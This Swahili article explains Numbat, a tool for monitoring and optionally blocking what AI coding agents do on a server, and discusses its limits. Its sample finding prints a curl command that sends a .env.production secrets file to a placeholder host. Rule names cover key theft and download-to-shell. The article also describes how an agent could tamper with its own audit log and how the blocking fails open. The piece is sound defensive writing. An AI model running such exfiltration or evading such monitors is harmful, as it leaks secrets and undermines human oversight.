Jinsi ya kufuatilia AI agents kwenye seva yako na Numbat

Numbat ni nini

Numbat inakupa uwezo wa kuona kile ambacho AI agent imefanya kwenye mashine unayomiliki. Inasoma hook callbacks na faili za session ambazo coding agents tayari zinazalisha, inazibadilisha kuwa umbizo moja la tukio, na kuzilinganisha na sheria zinazochochewa na tabia kama kusoma SSH private key au kuingiza download moja kwa moja kwenye shell. Perplexity imetoa zana hii kama open source chini ya leseni ya Apache 2.0, ikiwa na toleo la kwanza lililowekewa tag mnamo 29 Julai 2026.

Kila kitu hapa chini kinatoka kwenye repository ya mradi huu na nyaraka zake, zilizosomwa mnamo 2 Agosti 2026. Pale ambapo Perplexity inatoa madai, chapisho hili linaeleza hivyo. Hii si mafunzo ya usakinishaji, kwa sababu repository hii ina siku chache tangu ianzishwe na amri zake zitabadilika.

Tatizo: hakuna anayerekodi kile ambacho wakala alikifanya

Wakala wa kuandika msimbo (coding agent) kwenye VPS yako huendesha amri za shell, kusoma faili, kuandika faili na kufungua miunganisho ya mtandao, yote haya akitumia mtumiaji uliyempa ruhusa. Historia yako ya shell hairekodi lolote kati ya hayo, kwa sababu wakala haandiki kwenye shell yako. sshd hurekodi kuingia kwako tu na si chochote ambacho modeli iliamua kufanya baadaye. /var/log/auth.log hubaki kimya isipokuwa kama kuna kitu kilifikia sudo. Wakala huweka nakala yake ya mazungumzo, lakini faili hiyo hukaa kwenye saraka ya kikao cha wakala, umbizo lake hubadilika kati ya matoleo, na mchakato wa wakala wenyewe unaweza kuiandikia.

Kwa hivyo mtu anapouliza ikiwa wakala alikisoma .env.production Jumanne iliyopita, jibu la kweli kwenye seva nyingi ni kwamba huwezi kujua. Pengo hilo ndilo sababu ya mradi huu kuwepo.

Madai ya Perplexity kuhusu kile Numbat inachofanya

README inaanza kwa kukielezea kifaa hiki kama "mwonekano wa mwisho (endpoint visibility) kwenye shughuli za AI agent, kikiwa na uwezo wa kugundua ndani ya mfumo, kuzuia vitendo kabla havijatokea (optional pre-action blocking), na ujenzi upya wa kiuchunguzi (forensic reconstruction)". Endpoint hapa inamaanisha mashine ambayo agent inaendeshwa, si kifaa cha mtandao kinachochungulia kutoka nje. Hizo ni uwezo tofauti, na zina uzito tofauti.

Ugunduzi unafanyika kwenye kifaa chenyewe. Sheria zimeandikwa kwa CEL (common expression language) na kutathminiwa ndani ya mfumo, zikiwa na sheria za mlolongo wa hatua nyingi juu yake na usaidizi wa sheria zako mwenyewe katika YAML. Hakuna kinachopaswa kutoka nje ya mashine ili sheria iweze kufanya kazi.

Kuzuia ni hiari na ni kwa kiwango kidogo. Hufanya kazi tu kupitia synchronous pre-action hooks, kwenye agents zinazotoa uwezo huo, na huwa kimezimwa hadi utakapokiwasha.

Ujenzi upya hufanyika baada ya tukio. numbat scan huchanganua mabaki ya session ambayo agent ilishayaandika kwenye diski, ili uweze kuangalia shughuli zilizotokea kabla ya kusakinisha chochote. Mradi huu unazingatia kuweka mipaka kwenye dai hilo: "Ujenzi upya wa data iliyopo (at-rest reconstruction) si sawa na kunasa diski au kumbukumbu na hakiwezi kurejesha shughuli ambazo agent haikuzihifadhi."

Matokeo ni NDJSON (newline delimited JSON) yenye toleo, inayohusu matukio, matokeo ya uchunguzi, maamuzi ya utekelezaji, viashiria na muhtasari wa skani, ikiwa katika schema toleo 0.2.0 kufikia v0.1.2. Rekodi hupelekwa kwenye stdout au faili ya ndani, na kwa hiari kupitia HTTP kwenye collector unayoiendesha. Inasambazwa kama binary moja ya Go iliyojengwa bila cgo, kwa ajili ya macOS, Linux na Windows kwenye amd64 na arm64, kwa hivyo kwenye Linux VPS ni faili moja tu bila hitaji la kusakinisha runtime yoyote kwanza.

Ni mawakala (agents) gani ambao Numbat inaweza kuwaona?

Matrisi ya ufikiaji katika docs/agent-coverage.md ndiyo orodha rasmi, na ina viwango tofauti vya utendaji. Mradi huu unasema hivyo waziwazi badala ya kuficha ukweli. Claude Code, Codex, Gemini CLI, Cursor na GitHub Copilot CLI zina uwezo wa kuchanganua (artifact scanning) na kunasa data moja kwa moja (live capture) kwa kutumia pre-action hook. OpenClaw hupata plugin asilia kuanzia toleo la 2026.7.1 na kuendelea. Orodha ndefu ya vipengele imewekwa kama deferred, ikimaanisha kuwa njia ya live hook ipo lakini kichanganuzi cha artifact hakipo, mara nyingi kwa sababu wakala huyo huhifadhi historia yake katika SQLite yenye write-ahead log ambayo si salama kusomwa wakati wakala anaendelea kufanya kazi. OpenCode na Cline walikuwa katika kundi hilo wakati matrisi ilipopitiwa tarehe 2 Agosti 2026.

Angalia mstari wa wakala wako kabla ya kupanga chochote kuhusu zana hii, kwa sababu neno "supported" lina maana tofauti katika karibu kila mstari.

Muonekano wa ugunduzi

Sheria zina vitambulisho vinavyoeleza madhumuni yake. secrets.read_private_key inashughulikia ufunguo wa SSH, vitambulisho vya AWS, kube config, au login ya registry ya vifurushi. exec.download_pipe_shell inawaka wakati matokeo ya curl au wget yanapopitishwa kwenye interpreter. privilege.elevated_shell inakamata ombi la interactive root shell kupitia sudo, doas, su, au pkexec. impact.cryptomining_launch inalingana na binary za wachimbaji madini (miners) na majina ya image yanayojulikana.

Sheria za mfuatano (sequence rules) huunganisha matukio ndani ya session moja. chain.secret_read_then_egress inahitaji faili la siri lisomwe likifuatiwa na amri inayopeleka data nje. README inachapisha matokeo yafuatayo kutoka kwa uchezaji upya (replay) uliodhibitiwa wa callback mbili za pre-action za Claude Code, si kutoka kwa tukio halisi. Hapa imepunguzwa ili kubakiza sehemu muhimu pekee:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Zingatia "confidence": "medium" iliyo ndani ya rekodi, na zingatia kile ambacho mradi unasema kuhusu kundi zima la matokeo: "Matokeo haya ni ulinganifu wa sheria, si uthibitisho wa uvamizi." Script ya deploy inayosoma ufunguo kisha kupakia artifact ya build italingana na sheria hiyo hiyo ya mfuatano. Ulinganifu huo ni sahihi lakini kengele ni ya uongo, hali ambayo ni ya kawaida kwa kila zana ya ugunduzi uliyowahi kutumia.

Uzuiaji umezimwa kwa chaguo-msingi, na mfumo hufunguka likitokea tatizo

Kila sheria inayokuja na Numbat ni ya ufuatiliaji pekee. Kubadilisha sheria kuwa ya kuzuia (block) ni kazi ya makusudi: nakili YAML kamili ya sheria hiyo kwenye saraka yako, tunza id ileile, ongeza enforce: true, ongeza toleo (version), kisha thibitisha na usakinishe sera hiyo.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Sasa ni sehemu inayoamua ni kwa kiasi gani unapaswa kuiamini. Uamuzi wa kukataa (deny) wa Numbat ni jibu linalotumwa kwa wakala (agent), na wakala ndiye anayekataa wito wa zana (tool call). Mwongozo wa utekelezaji uko wazi kuhusu kinachotokea wakati Numbat yenyewe ina tatizo: "Payloads zilizoharibika, makosa ya tathmini, panics, na kushindwa kutoa matokeo hufanya Numbat isitoe jibu la kukataa." Ingizo la hook limekomea kwenye 4 MiB, na ingizo linalozidi ukubwa huo hufuata njia hiyo hiyo.

Mwongozo uko wazi vilevile kuhusu kikomo cha uamuzi wa kukataa unaofanikiwa: "Fail-open inamaanisha Numbat inazuia jibu lake la kukataa. Hii haihakikishi kuwa zana itatekelezwa: mwenyeji (host) anaweza bado kuuliza, kukataa, muda kuisha, au kutumia hook au sera nyingine."

Kwa hiyo, utekelezaji hapa ni kama reli ya ulinzi, si mpaka wa kudumu. Ikiwa mchakato utaanguka (crash), hatua hiyo haitazuiwa na Numbat, kwa sababu kifuatiliaji kinachogandisha wakala wako kila kinapopata tatizo kitaondolewa ndani ya wiki moja. Makubaliano haya ni ya busara. Usijenge mfano wa usalama unaodhani kuwa jibu la kukataa litafika kila wakati.

Mahali ambapo Numbat inafaa kulingana na unachofanya tayari

Numbat inafanya kazi kwenye endpoint, ndani ya mti wa mchakato wa wakala (agent), na huandika kwenye ~/.numbat/records.ndjson kwa chaguo-msingi. Wakala anayeendeshwa kama mtumiaji wako anaweza kusoma faili hiyo. Anaweza pia kuibadilisha. Njia ya ukaguzi (audit trail) ina thamani sawa na kutengwa (isolation) inayozunguka, jambo linaloweka kila udhibiti ulionao mbele ya huu badala ya kuuweka nyuma yake.

Kumpa wakala wa usimbaji VM inayoweza kufutwa hupunguza kile ambacho utekelezaji mbaya unaweza kufikia. Mtumiaji mwenye upendeleo mdogo kwenye VPS humzuia wakala asifikie faili ambazo hana sababu ya kuzifungua. Kuweka vitambulisho nje ya muktadha wa wakala ndiko kunakofanya secrets.read_private_key kulingana na kitu ambacho ni nadra kutosha kustahili kusomwa kinapojitokeza. Na sandbox uliyoiweka kwa ajili ya Claude Code kwenye VPS bado ndiyo inayofanya kazi ya kuzuia. Kuzuia hupunguza kile ambacho utekelezaji mbaya unaweza kugusa, wakati kuandika sababu ya msimbo kuwa na umbo ililo nalo hupunguza mara ambazo wakala hufanya kitu cha kushangaza kiasi cha kukupeleka kwenye log.

Kile ambacho Numbat huongeza ni rekodi, kwa hiyo tuma rekodi hiyo mahali ambapo wakala hawezi kufikia. numbat ship na HTTP sink zipo kwa ajili hiyo. Nakala ya mtiririko kwenye mashine ya pili ndiyo tofauti kati ya faili ya log na ushahidi. Mfano wa tukio pia hubeba nyanja za MCP (model context protocol), kwa hiyo wito wa zana (tool calls) unaotoka kupitia seva ya MCP unayoiendesha kwenye VPS hutua kwenye mtiririko uleule kama amri za shell za ndani, jambo ambalo ni muhimu kwa sababu njia hiyo haionekani kwa chochote kinachotazama bash pekee. Kipofu hicho hicho hufunika instance ya SearXNG iliyounganishwa kama backend ya utafutaji ya wakala, ambapo hatari hufika kama maandishi ya ukurasa yasiyoaminika yanayoingia kwenye muktadha wa modeli badala ya kama amri ambayo sheria yoyote inaweza kulingana nayo.

Jaribu hali ya kusoma pekee kwanza

Sakinisha toleo lililofungwa (pinned version). Go 1.26.5 au toleo jipya zaidi linahitajika kwa go install, na ukurasa wa releases una binaries zilizojengwa awali zenye SHA-256 checksums ikiwa hutaki kujenga kutoka kwenye source code.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents hutambua mawakala (agents) waliowekwa kwenye seva. numbat scan huchanganua mabaki ya session (session artifacts) yaliyopo kwenye diski na kuchapisha rekodi. README inasema kuwa amri hizi "hazisakinishi hooks wala kubadilisha usanidi wa wakala", na kwamba numbat "haiwashi mawakala au amri zinazopatikana kwenye artifacts, na hufanya maombi ya nje (outbound requests) kwa HTTP sinks zilizosanidiwa pekee". Uchanganuzi ni wa kusoma pekee (read-only) na ufichaji wa siri (secret redaction), na matokeo ya kawaida ya rekodi hayajumuishi transcript kamili ya raw.

Ukamataji wa moja kwa moja (live capture) ndio hatua inayofuata, na hii hubadilisha usanidi wa wakala:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all huandika matukio, matokeo, viashiria na maamuzi ya utekelezaji yanayohusika kwenye ~/.numbat/records.ndjson. Tahadhari mbili zinatoka moja kwa moja kutoka kwa mradi huu. Hooks zinaweza kuhitaji kuaminiwa ndani ya wakala kabla hazijaanza kufanya kazi, na uaminifu huo lazima uhakikiwe tena baada ya kubadilisha flags kama --enforce. Na hook status "huhakiki usanidi, si utekelezaji au uwasilishaji", kwa hivyo mstari wa hali (status line) unaoonyesha afya njema si uthibitisho kwamba rekodi zinafika mahali popote.

Kwa nini hazina hii mpya si tegemezi (dependency)

Matoleo ya umma ni v0.1.1 ya tarehe 29 Julai 2026 na v0.1.2 ya tarehe 1 Agosti 2026. Hazina hii ilikuwa na nyota 597 wakati makala hii ikiandikwa tarehe 2 Agosti 2026. Namba zinazokua kwa kasi hiyo huakisi hadhira ya Perplexity, si ubora wa msimbo (code) wenyewe. Nyota inamaanisha mtu amehifadhi ukurasa ili auangalie baadaye.

Namba ya toleo ni ya kweli kuhusu mahali ambapo zana hii ilipo. Maelezo ya v0.1.2 hasa ni marekebisho ya ufutaji wa vitambulisho (credential redaction), pamoja na kazi ya kurekebisha vifurushi vya kesi na ulinganifu wa telemetry. Hitilafu za ufutaji ni aina ya kasoro zinazotarajiwa katika zana ambayo kazi yake ni kusoma nakala za programu nyingine kwa usalama, na kutakuwa na nyingine zaidi, kwa sababu data za kuingiza (inputs) hutoka kwa mawakala kadhaa ambao kila mmoja hubadilisha muundo wake kwa ratiba yake.

Kanuni mbili za kivitendo zinafuata. Funga (pin) tag, usitumie kamwe @latest, katika chochote unachohifadhi. Na ichukulie kama kifaa unachokifanyia tathmini badala ya mfumo wa udhibiti unaoutegemea, angalau hadi muundo wa rekodi (schema) utakapokoma kubadilika.

FAQ

Je, Numbat huzuia amri hatari za AI agent?

Ni pale tu unapochagua kufanya hivyo, na kwa msingi wa juhudi bora pekee. Kila sheria ambayo Numbat inatoa ni kwa ajili ya kufuatilia (monitor) pekee. Ili kuzuia, nakili YAML ya sheria hiyo kwenye saraka yako, tunza id yake, ongeza enforce: true, pandisha toleo (version), na usakinishe hook kwa kutumia --enforce. Hata hivyo, kuzuia huko ni jibu linalorejeshwa kwa agent, na agent ndiye anayekataa wito huo. Mradi huu unaelezea tabia ya fail-open: payload zilizoharibika, makosa ya tathmini, panics, na kushindwa kwa matokeo yote hufanya kuzuia huko kusitishwe. Itumie kama kinga ya ziada, si kama mpaka wako pekee.

Numbat inasaidia AI agents zipi?

Uwezo wa kufanya kazi hutofautiana kwa kila agent na umeorodheshwa katika docs/agent-coverage.md kwenye hazina (repository). Claude Code, Codex, Gemini CLI, Cursor na GitHub Copilot CLI zilikuwa na uchanganuzi wa artifact na unasa wa moja kwa moja (live capture) wakati ukurasa huo uliposomwa tarehe 2 Agosti 2026, na OpenClaw ina plugin ya asili kuanzia toleo la 2026.7.1. Agents wengine wengi wameorodheshwa wakiwa na njia ya live hook lakini hawana kichanganuzi cha artifact bado, kwa kawaida kwa sababu historia ya session yao iko kwenye database ya SQLite ambayo si salama kusomwa wakati agent anaendelea kufanya kazi. Soma mstari wa agent wako, kwa sababu neno "supported" linashughulikia viwango tofauti hapo.

Je, agent anaweza kuharibu rekodi za Numbat?

Ndiyo, ikiwa anaendeshwa kama mtumiaji yuleyule. Rekodi kwa chaguo-msingi huwekwa kwenye ~/.numbat/records.ndjson kwenye mashine ileile ya agent, kwa hivyo chochote chenye uwezo wa kuandika kwenye njia hiyo kinaweza kuzibadilisha au kuzifuta. Tuma mtiririko huo kwa mkusanyaji (collector) ambaye agent hawezi kumfikia, kwa kutumia numbat ship au HTTP sink, na utunze faili ya ndani kama nakala ya urahisi. Hii ndiyo sababu zana hii inakamilisha utengaji (isolation) badala ya kuuchukua nafasi. Agent aliyefungiwa kwenye VM ya muda chini ya mtumiaji mwenye haki ndogo (least privilege) ana uwezo mdogo sana wa kufikia njia yake ya ukaguzi (audit trail).

Je, Numbat iko tayari kwa seva ya uzalishaji (production)?

Si kama kidhibiti unachokitegemea. Toleo la kwanza la umma lilikuwa v0.1.1 mnamo 29 Julai 2026 na v0.1.2 ilifuata mnamo 1 Agosti 2026, kwa hivyo flags na schema ya rekodi bado zinabadilika. Kuendesha numbat agents na numbat scan kwenye seva ni kwa ajili ya kusoma pekee na kuna hatari ndogo, na itakuambia kile ambacho agents wako wamekuwa wakikiacha kwenye diski. Kusakinisha hook za utekelezaji kwenye seva muhimu ni uamuzi tofauti, na unastahili tag iliyofungwa (pinned tag) na mpango wa nini kitatokea wakati hook inapoanza kufanya kazi vibaya.